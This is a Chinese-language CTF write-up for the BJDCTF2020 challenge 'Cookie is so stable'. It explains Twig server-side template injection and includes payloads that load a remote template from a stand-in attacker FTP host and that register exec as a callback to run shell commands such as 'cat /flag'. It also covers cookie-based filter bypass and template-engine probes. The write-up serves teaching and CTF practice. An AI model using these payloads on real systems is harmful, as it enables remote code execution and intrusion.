[BJDCTF2020]Cookie is so stable
PHP-Twig模板注入
参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933
通过_self 我们可以调用环境变量中的env 属性,当PHP打开远程加载文件的参数(allow_url_include )时,问我们可以通过它来实现远程文件包含
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
利用getFilter 函数中的危险函数call_user_func ,我们可以实现任意函数调用
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
// 前半段的含义为将`exec`注册为回调函数,后半段为回调参数
源码为
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
解题
提示为看Cookie,在Flag页面提交ID后,可以在存储中看到Cookie添加了新的参数,
输入的回显,首先猜测为SSTI,
测试模板,
{{7*'7'}}
回显:49
Twig注入,因此我们构造payload 读文件,
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
但是提交会过滤拦截,我们仅需修改COOKIE,然后刷新即可得到flag
补充:
测试模板引擎方法:
a{*comment*}b
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}} -> 7777777
{{7*7}}
{{7*'7'}} -> 49
利用HTML探测注入点:
用户输入可作为代码执行
name=Heph4es
hello,Heph4es.
name=Heph4es</body> <!--整体作为变量传入模板,但并不存在此变量,所以无法显示-->
hello,
name=Heph4es}}</body> <!--变量被传入,但在}}封闭,</body>逃逸为普通HTML文本-->
hello,
延展:可能的利用方式:
|